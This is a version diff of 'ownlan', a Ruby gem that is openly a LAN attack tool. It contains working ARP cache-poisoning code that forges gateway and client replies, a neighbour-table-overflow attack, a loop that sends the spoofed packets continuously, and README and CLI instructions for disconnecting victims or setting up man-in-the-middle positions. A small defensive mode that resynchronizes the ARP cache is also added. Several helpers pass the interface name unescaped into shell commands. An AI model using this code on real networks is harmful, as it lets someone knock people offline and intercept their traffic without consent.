ownlan 0.3.2 → 0.4.0

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA1:
-  metadata.gz: fa6b625171c578b995c39a2139166cfad3c32eec
-  data.tar.gz: d1a2ffd2c688404404d22fc59dc6c659c29ede4d
+  metadata.gz: 0116861dd003de1e992f9ab248fdf15e3298572f
+  data.tar.gz: 441ba24e75b87357b872687559ff8c0f4edfbf9f
 SHA512:
-  metadata.gz: a1fa861dd614a478adcaca2c329da24564d81461a38a5b2b833110c2eb8e8d8087d9514638d96f3e08ef1a67ee024ee8d3372e2c4fb9b42b251d7b5caeeb0e30
-  data.tar.gz: 67c6bb75c988a9cf79a7c3ebd511819f65d00ac3c896fa247a3cc105b209c93f3b6b386ad267ff9a4b22e44e468dcd4d50c9822aeb3a59a72b35a4734f537b19
+  metadata.gz: 8ce3c7dd9c3ce95cc66fc31cd8cf914f1b3397617a74a42650ac10229a8d2ada14699f9af48c95dafbc837b644ccd0f64609c9b2de62b1655a35bcaf35f4ce20
+  data.tar.gz: 77813ea23512ea33d6c22485241735070d151d005ff46300bf9d007cdc660af47d163033104a3f56129b44f4b087fd8ae8b25333a841e42e50e557c74237ac35

data/Gemfile.lock

@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    ownlan (0.3.2)
+    ownlan (0.4.0)
       activesupport
       packetfu
       trollop

data/README.md

@@ -26,8 +26,6 @@ And require it in your application:
 
 ## Usage
 
-Please look at the [cli section](#command-line-interface) for advanced option.
-
 ### Configuration ###
 You can pass multiple variables that will be used in the gem.
 
@@ -43,16 +41,37 @@ end
 
 You can also pass any of those options inline when loading an instance of Ownlan.
 
-```rubypro
-Ownlan.new(attack: 'ntoa', victim_ip: '192.168.0.1', delay: 1.5, random_mac: true).call
+```ruby
+ownlan = Ownlan.new(attack: 'ntoa', victim_ip: '192.168.0.1', delay: 1.5, random_mac: true)
 ```
+
+## Launch Ownlan ##
+
+### In your Ruby code ###
+
+Once configured, you can run your instance of Ownlan with:
+
+```ruby
+ownlan.call
+```
+
+You are free to implement whatever way of your choice to handle concurrency: you can put this previous line in a `thread` for instance.
+
+### Using the Command Line Interface  ###
+
+```sh
+  ownlan --attack client --target-ip 192.168.0.1 --interface eth0 --delay 0
+```
+
+Please look at the [cli section](#command-line-interface) for more advanced options.
+
 ## Features
 
 **OwnLan** has four features:
 
 1. Disconnect one or several users off the wire
-2. Protecting users from these kind of attacks *[Not Implemented]*
-3. Sending custom ARP + DHCP packets easily *[Not Implemented]*
+2. Protecting users from those kind of attacks
+3. Sending custom ARP + DHCP packets easily
 4. Easy ARP packets capture *[Not Implemented]*
 
 ### Disconnecting users off the wire
@@ -76,45 +95,61 @@ You can also use the provided executable. Simple launch it in accordance to the
 
     ownlan --[options] [sub-options] --[other-option]
 
- 
 - Where [options] are either:
  
 
-        -a, --attack=<s>           Set an attack on a device on the network
+        -a, --attack=<s>          Set an attack on a device on the network
+                                  * Required: [sub-options]
         -p, --protect=<s>          Protect a device from lan attacks
-        -b, --broadcast=<s>        Inject ARP crafted packets in the wire
-        -c, --capture=<s>          Sniffing ARP packets on the network
+                                  * Required: [sub-options]
+        -b, --broadcast=<s>        Broadcast raw ARP packets to the wire.
+                                  * Required Options : victim_ip, victim_mac, source_ip, source_mac
+        -c, --capture=<s>          Sniffing ARP packets on the network [Not Implemented]
 
 
 -  where [sub-options] are either:
 
+
         client              Set a First-Duplex disconnection attack (the client is targeted). If no source mac argument, yours will be given (useful for MITM Attacks).
                           * Required options: victim_ip
+                          * Falcultative options: random_source_mac , source_mac
         gateway             Set a Second-Duplex disconnection attack (the gateway is targeted). If no source mac argument, yours will be given (useful for MITM Attacks).
                           * Required options: victim_ip
+                          * Falcultative options: random_source_mac , source_mac
         ntoa                The client is targeted to get disconnected, using a neighbour table overflow attack. Requires a victim ip.
                           * Required options: victim_ip
                           * Falcultative options: random_source_mac
         fake-ip-conflict    Generate a fake ip conflict to the victim. Can be used along all the others attacks, or alone.
-                          * Required options: victim_ip
+                          * Required options: victim_ip [Not Implemented]
+
+        resynchronize       Resynchronize the Gateway ARP Cache by sending to it continuous healthy correspondancies packets to protect someone or yourself from gateway. Default params are your mac and the gateway's mac. WARNING: If your gateway_mac is the attacker's, this protection won't work. In this case, input the gateway's mac manually.
+                          * Optional options: victim_mac , gateway_mac
+        stealth             Becomes invisible from network scanners, preventing you from getting targeted. [Not Implemented]
+        static              Set a static ARP Cache for the current session. Good against first-duplex ARP Cache Poisoning. [Not Implemented]
+        freeze              Reset and Freeze your ARP Cache. Good against NTOAs. [Not Implemented]
+
 
-        stealth             Becomes invisible from network scanners, preventing you from getting targeted.
-        static              Set a static ARP Cache for the current session. Good against first-duplex ARP Cache Poisoning.
-        freeze              Reset and Freeze your ARP Cache. Good against NTOAs.
-        resynchronize       Resynchronize the Gateway ARP Cache by sending to it continuous healthy correspondancies packets to protect someone or yourself from gateway
         attack. (reveive IP or MAC argument)
 
 
 - Where  [Other Options] can be:
 
+
         -d, --delay=<f>            Set the time lapse delay between each packet (default: 0.5)
         -i, --interface=<s>        Set the network interface which will be used (default: wlan0)
-        -r, --random-source-mac    If setted, the used origin addresses will be randomly generated. If not specified, the mac of your given interface will be used.
-        -v, --version              Print version and exit
+        -r, --random-source-mac    If setted, the used origin addresses will be randomly generated.
+        -t, --victim-ip=<s>        Set the ip address of the target.
+        -v, --victim-mac=<s>       Set the mac address of the target
+        -g, --gateway-ip=<s>       Set the ip adress of the gateway
+        -e, --gateway-mac=<s>      Set the mac adress of the gateway. (for Protect only)
+        -s, --source-mac=<s>       Set the mac of the source mac address. Default: Your mac address for wlan0 (00:c0:ca:69:0f:a9)
+        -o, --source-ip=<s>        Set the ip address of the originating packet.
+        -n, --version              Print version and exit
         -h, --help                 Show this message
 
 
 
+
 ## Versioning
 
 __Ownlan__ follows [Semantic Versioning 2.0](http://semver.org/).
@@ -127,10 +162,10 @@ __Ownlan__ follows [Semantic Versioning 2.0](http://semver.org/).
 4. Push to the branch (`git push origin my-new-feature`)
 5. Create a new Pull Request
 
-# Contact
+## Contact
 
 Any question ? Feel free to contact me at `contact(at)sidney.email` .
-Any Issue ? Open a [ticket](https://github.com/shideneyu/ownlan/issues) !
+Any issue ? Open a [ticket](https://github.com/shideneyu/ownlan/issues) !
 
 ## License
 

data/lib/ownlan/application.rb

@@ -1,15 +1,16 @@
 module Ownlan
   class Application
 
-    attr_reader :raw_options, :config
+    attr_reader :raw_options, :config_options, :config
 
     def initialize(options)
       @raw_options = options
 
       @config = ::Ownlan.config.dup
 
-      config_options = raw_options.reject{ |k, v| k.to_s.match('_given') || !v }
-      set_options(config_options)
+      @config_options = raw_options.reject{ |k, v| k.to_s.match('_given') || !v }
+
+      set_options
     end
 
     def call
@@ -28,7 +29,7 @@ module Ownlan
       raise ::Ownlan::MissingArgumentError, 'Missing or Invalid parameter.'
     end
 
-    def set_options(config_options)
+    def set_options
       config_options.each { |k, v| config.send("#{k}=", v) }
     end
 
@@ -40,7 +41,7 @@ module Ownlan
     end
 
     def good_args?(type, mode)
-      raw_options[type] == mode.to_s
+      raw_options[type] == mode.to_s || config_options.keys.to_set.intersect?(config.manual_sub_modes.to_set)
     end
 
   end

data/lib/ownlan/attack/base.rb

@@ -2,12 +2,28 @@ module Ownlan
   module Attack
     class Base
 
-      attr_reader :config
+      attr_reader :config, :crafted_packet
 
       def initialize(config)
         @config  = config
       end
 
+
+      def ip_to_mac(ip = nil)
+        if ip == ServiceObjects::NetworkInformation.self_ip(config.interface)
+          mac = ServiceObjects::NetworkInformation.self_mac(config.interface)
+        else
+          mac = ::PacketFu::Utils::arp(ip, iface: config.interface)
+          mac ||= raise ::Ownlan::VictimNotReachable, "#{ip}'s mac address cannot be guessed."
+        end
+      rescue RuntimeError
+        raise ::Ownlan::NotRoot, "Please rerun this tool with root privileges."
+      rescue ArgumentError
+        raise ::Ownlan::WrongVictimIpFormat, "#{ip} is not a valid ip format."
+      rescue StandardError
+        raise ::Ownlan::WrongInterace, "#{config.interface} is not ready? Retry again"
+      end
+
       private
 
       def victim_ip
@@ -15,15 +31,20 @@ module Ownlan
       end
 
       def victim_mac
-        mac = ::PacketFu::Utils::arp(victim_ip, iface: config.interface)
-        mac ||= raise ::Ownlan::VictimNotReachable, "#{victim_ip}'s mac address cannot be guessed."
-      rescue ArgumentError
-        raise ::Ownlan::WrongVictimIpFormat, "#{victim_ip} is not a valid ip format."
+        ip_to_mac(victim_ip)
       end
 
       def self_mac
         ServiceObjects::NetworkInformation.self_mac(config.interface)
       end
+
+      def packet_craft(*params)
+        ServiceObjects::CraftArpPacket.new(*params)
+      end
+
+      def send_packet
+        ServiceObjects::SendArpPackets.new(config, crafted_packet).call
+      end
     end
   end
 end

data/lib/ownlan/attack/client.rb

@@ -3,15 +3,21 @@ module Ownlan
     class Client < Base
 
       def process
-        gw_ip = `netstat -rn | grep 0.0.0.0 | awk '{print $2}' | grep -v "0.0.0.0"`
-        client_mac = PacketFu::Utils::arp(config.client_ip, :iface => config.interface)
+        generate_packet
 
-        config.source_mac.nil? ? saddr = ServiceObjects::self_mac(config.interface) : saddr = config.source_mac
-        daddr = client_mac
+        send_packet
+      end
+
+      def generate_packet(target_ip = nil)
+        gw_ip    = ServiceObjects::NetworkInformation.gateway_ip
+
+        saddr    = config.source_mac
+        daddr    = config.victim_mac || victim_mac
         saddr_ip = gw_ip
-        daddr_ip = config.client_ip
-        crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip, daddr_ip, config.delay, config.interface)
-        send_packet(config.delay, config.interface, crafted_packet)
+        daddr_ip = victim_ip
+
+
+        @crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip).call
       end
     end
   end

data/lib/ownlan/attack/gateway.rb

@@ -3,19 +3,28 @@ module Ownlan
     class Gateway < Base
 
       def process
-        gw_ip = `netstat -rn | grep 0.0.0.0 | awk '{print $2}' | grep -v "0.0.0.0"`
-        gw_mac = PacketFu::Utils::arp(gw_ip, :iface => interface)
+        generate_packet
 
-        config.source_mac.nil? ? saddr = ServiceObjects::NetworkInformation.self_mac(interface) : saddr = config.source_mac
+        send_packet
+      end
+
+      def generate_packet
+        gw_ip  = ServiceObjects::NetworkInformation.gateway_ip
+
+        saddr    = config.source_mac
+        daddr    = config.gateway_mac || gateway_mac(gw_ip)
 
-        daddr    = gw_mac
-        saddr_ip = config.client_ip
+        saddr_ip = victim_ip
         daddr_ip = gw_ip
 
-        crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip, saddr_ip, config.delay, interface)
-        send_packet(config.delay, config.interface, crafted_packet)
+        @crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip).call
       end
 
+      private
+
+      def gateway_mac(gw_ip)
+        ip_to_mac(gw_ip)
+      end
     end
   end
-end
+end

data/lib/ownlan/attack/ntoa.rb

@@ -13,7 +13,7 @@ module Ownlan
         saddr_ip = "#{source_ip_base}.#{@b}.#{@c}"
         daddr_ip = victim_ip
 
-        crafted_packet = ServiceObjects::CraftArpPacket.new(config, saddr, daddr, saddr_ip, daddr_ip).call
+        crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip).call
 
         loop do
           while @a < 100 do
@@ -43,7 +43,7 @@ module Ownlan
       private
 
       def source_ip_base
-        ServiceObjects::NetworkInformation.self_ip.to_s.split('.')[0..1].join('.')
+        ServiceObjects::NetworkInformation.self_ip(config.interface).to_s.split('.')[0..1].join('.')
       end
 
       def source_mac(a=nil, b=nil, c=nil)

data/lib/ownlan/cli.rb

@@ -20,7 +20,7 @@ EOS
 
   opt :attack, "Set an attack on a device on the network",  short: 'a', type: :string
   opt :protect, "Protect a device from lan attacks",        short: 'p', type: :string
-  opt :broadcast, "Inject ARP crafted packets in the wire", short: 'b', type: :string
+  opt :broadcast, "Inject ARP crafted packets in the wire", short: 'b'
   opt :capture, "Sniffing ARP packets on the network",      short: 'c', type: :string
 
 # Attack part
@@ -28,11 +28,13 @@ banner <<-EOS
 
 where [sub-options] are either:
 
-Attacks sub-options   :
+Attacks sub-options:
   client              Set a First-Duplex disconnection attack (the client is targeted). If no source mac argument, yours will be given (useful for MITM Attacks).
                       * Required options: victim_ip
+                      * Falcultative options: random_source_mac , source_mac
   gateway             Set a Second-Duplex disconnection attack (the gateway is targeted). If no source mac argument, yours will be given (useful for MITM Attacks).
                       * Required options: victim_ip
+                      * Falcultative options: random_source_mac , source_mac
   ntoa                The client is targeted to get disconnected, using a neighbour table overflow attack. Requires a victim ip.
                       * Required options: victim_ip
                       * Falcultative options: random_source_mac
@@ -48,14 +50,17 @@ Protect sub-options:
   stealth          Becomes invisible from network scanners, preventing you from getting targeted.
   static           Set a static ARP Cache for the current session. Good against first-duplex ARP Cache Poisoning.
   freeze           Reset and Freeze your ARP Cache. Good against NTOAs.
-  resynchronize    Resynchronize the Gateway ARP Cache by sending to it continuous healthy correspondancies packets to protect someone or yourself from gateway attack. (reveive IP or MAC argument)
+  resynchronize    Resynchronize the Gateway ARP Cache by sending to it continuous healthy correspondancies packets to protect someone or yourself from gateway attack. Default params are your mac and the gateway's mac. WARNING: If your gateway_mac is the attacker's, this protection won't work. In this case, input the gateway's mac manually.
+                   * Required options: target_ip
+                   * Optional options: target_mac , gateway_mac
 
   EOS
 
 # Broadcast part
 banner <<-EOS
 
-Send sub-options:
+Broadcast:        Send raw ARP packets to the wire.
+                  * Required Options : victim_ip, victim_mac, source_ip, source_mac
 
   EOS
 
@@ -73,9 +78,13 @@ Other Options:
 
   opt :delay,              "Set the time lapse delay between each packet", default: 0.5
   opt :interface,          "Set the network interface which will be used", short: 'i', default: 'wlan0'
-  opt :random_source_mac,  "If setted, the used origin addresses will be randomly generated. If not specified, the mac of your given interface will be used #{mac=ServiceObjects::NetworkInformation.self_mac('wlan0') ; ', in your case ' + mac + ' for wlan0' if !mac.empty?}"
-  opt :victim_ip,          "Set the ip of the target ip address.", short: 't', type: :string
-  opt :source_mac,         "Set the mac of the source mac address.", short: 's', type: :string
+  opt :random_source_mac,  "If setted, the used origin addresses will be randomly generated."
+  opt :victim_ip,          "Set the ip address of the target.", short: 't', type: :string
+  opt :victim_mac,         "Set the mac address of the target", type: :string
+  opt :gateway_ip,         "Set the ip adress of the gateway", type: :string
+  opt :gateway_mac,        "Set the mac adress of the gateway. (for Protect only)", type: :string
+  opt :source_mac,         "Set the mac of the source mac address. #{mac=ServiceObjects::NetworkInformation.self_mac('wlan1') ; 'Default: Your mac address for wlan0 (' + mac + ')' if !mac.empty?}", short: 's', type: :string
+  opt :source_ip,          "Set the ip address of the originating packet.", type: :string
 
       end
     end

data/lib/ownlan/config.rb

@@ -22,17 +22,36 @@ module Ownlan
 
   class Configuration
 
-    attr_accessor :attack, :protect, :broadcast, :capture, :client, :gateway, :ntoa, :fake_ip_conflict, :stealth,
-                  :static, :freeze, :resynchronize, :delay, :interface, :version, :help, :victim_ip, :random_mac, :modes
+    attr_accessor :attack, :protect, :broadcast, :capture, :client, :gateway, :ntoa, :fake_ip_conflict, :stealth, :static,
+                  :freeze, :resynchronize, :delay, :interface, :version, :help, :victim_ip, :victim_mac, :gateway_ip,
+                  :gateway_mac, :source_ip, :source_mac, :random_mac, :modes
+
+    alias :target_ip :victim_ip
+    alias :target_ip= :victim_ip=
+
+    alias :target_mac :victim_mac
+    alias :target_mac= :victim_mac=
 
     # Create a new instance.
     #
     # @return [Ownlan::Configuration]
     def initialize
-      @modes     = { attack: attack_sub_modes, protect: protect_sub_modes, manual: manual_sub_modes }
-      @interface = 'wlan0'
-      @delay     = 0.5
-      @victim_ip = '192.168.0.1'
+      @modes      = { attack: attack_sub_modes, protect: protect_sub_modes, manual: manual_sub_modes }
+      @interface  = 'wlan0'
+      @delay      = 0.5
+    end
+
+    def source_mac
+      @source_mac ||= if self.victim_ip
+        ::ServiceObjects::NetworkInformation.self_mac(interface)
+      else
+        gateway_ip = ServiceObjects::NetworkInformation.gateway_ip
+        mac = ::Ownlan::Attack::Base.new(self).ip_to_mac(gateway_ip)
+      end
+    end
+
+    def manual_sub_modes
+      [:broadcast, :capture]
     end
 
     private
@@ -49,8 +68,5 @@ module Ownlan
       [:freeze, :resynchronize, :static, :stealth]
     end
 
-    def manual_sub_modes
-      [:broadcast, :capture]
-    end
   end
 end

data/lib/ownlan/exceptions.rb

@@ -3,4 +3,6 @@ module Ownlan
   class MissingArgumentError < Exception; end
   class VictimNotReachable < Exception; end
   class WrongVictimIpFormat < Exception; end
+  class WrongInterace < Exception; end
+  class NotRoot < Exception; end
 end

data/lib/ownlan/manual/broadcast.rb

@@ -1,6 +1,38 @@
 module Ownlan
   module Manual
     class Broadcast
+
+      attr_reader :config, :crafted_packet
+
+      def initialize(config)
+        @config = config
+      end
+
+      def process
+        generate_packet
+
+        send_packet
+      end
+
+      def generate_packet
+        saddr    = config.source_mac
+        daddr    = config.victim_mac
+        saddr_ip = config.source_ip
+        daddr_ip = config.victim_ip
+
+
+        @crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip).call
+      end
+
+      private
+
+      def packet_craft(*params)
+        ServiceObjects::CraftArpPacket.new(*params)
+      end
+
+      def send_packet
+        ServiceObjects::SendArpPackets.new(config, crafted_packet).call
+      end
     end
   end
-end
+end

data/lib/ownlan/protect/base.rb

@@ -1,6 +1,11 @@
 module Ownlan
   module Protect
     class Base
+      attr_reader :config
+
+      def initialize(config)
+        @config  = config
+      end
     end
   end
 end

data/lib/ownlan/protect/resynchronize.rb

@@ -1,6 +1,32 @@
 module Ownlan
   module Protect
-    class Resynchronize
+    class Resynchronize < Base
+
+      attr_reader :gateway_packet, :client_packet
+
+      def process
+        config.source_mac = gateway_mac
+        @gateway_packet = Ownlan::Attack::Client.new(config).generate_packet
+
+        config.source_mac = client_mac
+        @client_packet = Ownlan::Attack::Gateway.new(config).generate_packet
+
+        send
+      end
+
+      def send
+        ServiceObjects::SendArpPackets.new(config, [gateway_packet, client_packet]).call
+      end
+
+
+      def gateway_mac
+        gateway_ip = ServiceObjects::NetworkInformation.gateway_ip
+        mac        = ::Ownlan::Attack::Base.new(config).ip_to_mac(gateway_ip)
+      end
+
+      def client_mac
+        ::Ownlan::Attack::Base.new(config).ip_to_mac(config.target_ip)
+      end
     end
   end
 end

data/lib/ownlan/service_objects/craft_arp_packets.rb

@@ -1,19 +1,9 @@
 module ServiceObjects
   class CraftArpPacket
-    attr_reader :saddr, :daddr, :saddr_ip, :daddr_ip
 
-    def initialize(config, saddr, daddr, saddr_ip, daddr_ip)
-      @delay     = config.delay
-      @interface = config.interface
+    attr_reader :packet
 
-      @saddr     = saddr
-      @daddr     = daddr
-      @saddr_ip  = saddr_ip
-      @daddr_ip  = daddr_ip
-
-    end
-
-    def call
+    def initialize(saddr, daddr, saddr_ip, daddr_ip)
       arp_packet = ::PacketFu::ARPPacket.new
 
       arp_packet.eth_saddr     = saddr
@@ -22,10 +12,13 @@ module ServiceObjects
       arp_packet.arp_daddr_mac = daddr
       arp_packet.arp_saddr_ip  = saddr_ip
       arp_packet.arp_daddr_ip  = daddr_ip
-      arp_packet.arp_opcode    = 1
+      arp_packet.arp_opcode    = 2
 
-      arp_packet
+      @packet = arp_packet
     end
 
+    def call
+      packet
+    end
   end
 end

data/lib/ownlan/service_objects/network_information.rb

@@ -1,15 +1,15 @@
 module ServiceObjects
   class NetworkInformation
     def self.self_mac(interface)
-      @self_mac ||= `ifconfig | grep '#{interface}' | tr -s ' ' | cut -d ' ' -f5`.strip
+      @self_mac ||= `ifconfig "#{interface}" | head -n1 | tr -s ' ' | cut -d' ' -f5`.strip
     end
 
     def self.gateway_ip
       @gateway_ip ||= `netstat -rn | grep 0.0.0.0 | awk '{print $2}' | grep -v "0.0.0.0"`.strip
     end
 
-    def self.self_ip
-      @self_ip ||= Socket.ip_address_list.detect{|intf| intf.ipv4_private?}.ip_address
+    def self.self_ip(interface)
+      @self_ip ||= `ip addr ls "#{interface}" | awk '/inet / {print $2}' | cut -d"/" -f1`.strip
     end
   end
 end

data/lib/ownlan/service_objects/send_arp_packets.rb

@@ -1,27 +1,26 @@
 module ServiceObjects
   class SendArpPackets
-    attr_reader :arp_packet, :config
+      attr_reader :config, :packets
 
-    def initialize(application, packet)
-      @packet = packet
-      @config = application.config
-    end
+      def initialize(config, packets)
+        @config  = config
+        @packets = [packets].flatten
+      end
 
-    def call
-      @i = 0
+      def call
+        @i = 0
 
-      Thread.new do
-        while true
-          print "\r The ARP packet has been sent successfully #{@i} times"
-        end
-      end
+        loop do
+          packets.each do |packet|
+            @i += 1
+            packet.to_w(config.interface)
 
-      while true
-        @i += 1
-        packet.to_w(config.interface)
-        sleep config.delay
+            print "\r The ARP packet has been sent successfully #{@i} times"
+
+            sleep config.delay
+          end
+        end
       end
-    end
 
   end
 end

data/lib/ownlan/version.rb

@@ -1,3 +1,3 @@
 module Ownlan
-  VERSION = "0.3.2"
+  VERSION = "0.4.0"
 end

data/lib/ownlan.rb

@@ -9,6 +9,7 @@ require 'ownlan/attack/gateway.rb'
 require 'ownlan/attack/ntoa.rb'
 require 'ownlan/manual/capture.rb'
 require 'ownlan/manual/broadcast.rb'
+require 'ownlan/protect/base.rb'
 require 'ownlan/protect/freeze.rb'
 require 'ownlan/protect/resynchronize.rb'
 require 'ownlan/protect/static.rb'
@@ -23,7 +24,6 @@ require 'pry'
 require 'packetfu'
 
 
-
 module Ownlan
 
   class << self

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: ownlan
 version: !ruby/object:Gem::Version
-  version: 0.3.2
+  version: 0.4.0
 platform: ruby
 authors:
 - sidney
 autorequire: 
 bindir: bin
 cert_chain: []
-date: 2016-01-21 00:00:00.000000000 Z
+date: 2016-01-25 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: packetfu
@@ -147,9 +147,6 @@ files:
 - lib/ownlan/service_objects/send_arp_packets.rb
 - lib/ownlan/version.rb
 - ownlan.gemspec
-- pkg/ownlan-0.1.0.gem
-- pkg/ownlan-0.3.0.gem
-- pkg/ownlan-0.3.1.gem
 homepage: https://github.com/shideneyu/ownlan
 licenses:
 - MIT